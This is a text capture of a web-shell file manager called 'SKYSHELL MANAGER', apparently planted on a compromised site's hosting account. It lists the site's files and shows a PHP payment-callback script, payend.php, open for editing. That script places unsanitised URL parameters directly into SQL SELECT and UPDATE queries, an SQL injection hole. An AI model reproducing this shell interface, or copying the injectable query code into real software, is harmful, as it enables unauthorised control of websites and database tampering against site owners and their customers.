📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
201.24 KB
0644
🗑️
⬇️
✏️
🔒
📄
system.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
Editing: payend.php
<?php global $tx_ref; $ref = $_GET['tx_ref']; $reed = $_GET['status']; include "connect_to_mysqli.php"; $string= trim($ref); if ($reed == "cancelled") { echo "<h2>Payment Cancelled. Please try Again</h2>"; } else { $pan='Review'; $sql = "SELECT * from lest where id = '".$string."' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $plan = $row["plan"]; $dear = $row["date"]; } $data= date('Y-m-d', strtotime("$dear +3 days")); $insert = mysqli_query($con,"UPDATE lest SET status='$pan' where id='$string'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE lest SET endd='$data' where id='$string'") or die ('Could not connect: ' .mysqli_error($con)); } ?>
💾 Save Changes